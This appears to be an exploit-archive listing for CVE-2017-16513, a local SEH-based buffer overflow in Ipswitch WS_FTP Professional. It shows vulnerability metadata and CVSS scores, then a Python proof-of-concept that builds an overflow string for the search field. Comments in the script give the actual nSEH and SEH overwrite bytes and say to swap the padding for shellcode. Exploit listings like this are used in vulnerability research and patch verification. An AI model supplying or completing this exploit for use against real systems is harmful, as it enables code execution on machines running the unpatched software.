Ipswitch WS_FTP Professional < 12.6.0.3 Local Buffer Overflow (SEH)

2017.11.06

Credit: Kevin McGuigan

Risk: High

Local: Yes

Remote: No

CVE: CVE-2017-16513

CWE: CWE-119

CVSS Base Score: 4.6/10

Impact Subscore: 6.4/10

Exploitability Subscore: 3.9/10

Exploit range: Local

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

#!/usr/bin/python
#Title: Ipswitch WS_FTP Professional Local Buffer Overflow (SEH)
#Author: Kevin McGuigan. Twitter: @_h3xagram
#Author Website: https://www.7elements.co.uk
#Vendor Website: https://www.ipswitch.com
#Date: 03/11/2017
#Version: 12.6.03
#CVE: CVE-2017-16513
#Tested on: Windows 7 32-bit
#Use script to generate payload. Paste payload into search field, replace Ds with shellcode. 
#nSEH = "\x74\x08\x90\x90" 
#SEH = "\x31\x2D\x91\x23"

buffer = "A" * 840
nSEH = "B" * 4
SEH = "C" * 4


f = open ("poc.txt", "w")
f.write(buffer + nSEH + SEH + "D" * 200)
f.close()

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Ipswitch WS_FTP Professional < 12.6.0.3 Local Buffer Overflow (SEH)

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